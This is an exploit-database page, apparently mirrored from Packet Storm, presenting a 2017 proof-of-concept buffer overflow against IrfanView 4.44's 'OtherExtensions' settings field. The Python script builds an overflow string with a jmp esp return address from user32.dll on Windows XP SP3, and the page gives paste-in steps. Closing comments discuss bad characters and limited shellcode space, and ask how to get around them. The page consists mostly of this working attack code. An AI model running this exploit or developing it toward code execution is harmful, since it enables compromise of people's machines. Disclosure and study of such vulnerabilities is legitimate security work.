Lucene search
K

IrfanView 4.44 Denial Of Service

🗓️ 29 Apr 2017 00:00:00Reported by Dreivan OrprecioType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 27 Views

IrfanView 4.44 Denial Of Service vulnerability in "OtherExtensions" inpu

Code
`# Exploit Title: Irfanview - OtherExtensions Input Overflow  
# Date: 29-04-2017  
# Software Link: http://download.cnet.com/IrfanView/?part=dl-&subj=dl&tag=button  
# Exploit Author: Dreivan Orprecio  
#Version: Irfanview 4.44  
#Irfanview is vulnerable to overflow in "OtherExtensions" input field  
#Debugging Machine: WinXP Pro SP3 (32bit)  
  
  
#POC  
  
#!usr/bin/python  
  
  
eip = "\xf7\x56\x44\x7e" #jmp esp from user32.dll  
  
  
  
buffer = "OtherExtensions="+"A" * 199 + eip + "\xcc"  
  
print buffer #a) irfanview->Option->Properties/Settings->Extensions  
#b) Paste the buffer in the "other" input then press ok, repeat a) and b)  
  
  
  
  
  
#badcharacters: those instruction that start with 6,7,8,E,F   
#Only 43 bytes space to host a shellcode and lots of badchars make it hard for this to exploit  
#Any other way around this?  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation